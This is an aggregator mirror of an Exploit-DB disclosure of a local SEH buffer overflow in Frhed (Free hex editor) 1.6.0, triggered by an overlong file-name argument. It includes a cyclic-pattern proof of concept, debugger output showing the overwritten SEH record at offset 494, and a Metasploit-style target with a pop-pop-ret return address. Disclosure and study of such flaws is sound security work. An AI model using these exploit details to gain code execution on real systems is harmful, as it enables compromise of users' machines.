3
[local] Frhed (Free hex editor) v1.6.0 - Buffer overflow
source link: https://www.exploit-db.com/exploits/51078
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
Frhed (Free hex editor) v1.6.0 - Buffer overflow
# Exploit Title: Frhed (Free hex editor) v1.6.0 - Buffer overflow
# Discovery by: Rafael Pedrero
# Discovery Date: 2022-01-09
# Vendor Homepage: http://frhed.sourceforge.net/
# Software Link : http://frhed.sourceforge.net/
# Tested Version: 1.6.0
# Tested on: Windows 10
CVSS v3: 7.3
CVSS vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
CWE: CWE-119
Buffer overflow controlling the Structured Exception Handler (SEH) records
in Frhed (Free hex editor) v1.6.0, and possibly other versions, may allow
attackers to execute arbitrary code via a long file name argument.
Proof of concept:
Open Frhed.exe from command line with a large string in Arguments, more
than 494 chars:
File '<Frhed_PATH>\Frhed.exe'
Arguments
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4...'
SEH chain of main thread
Address SE handler
0018FC8C 41367141
35714134 *** CORRUPT ENTRY ***
0BADF00D [+] Examining SEH chain
0BADF00D SEH record (nseh field) at 0x0018fc8c overwritten with
normal pattern : 0x35714134 (offset 494), followed by 876 bytes of cyclic
data after the handler
0BADF00D ------------------------------
'Targets' =>
[
[ '<fill in the OS/app version here>',
{
'Ret' => 0x00401ba7, #
pop ecx # pop ecx # ret - Frhed.exe (change this value by other without
\x00)
'Offset' => 494
}
],
],
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK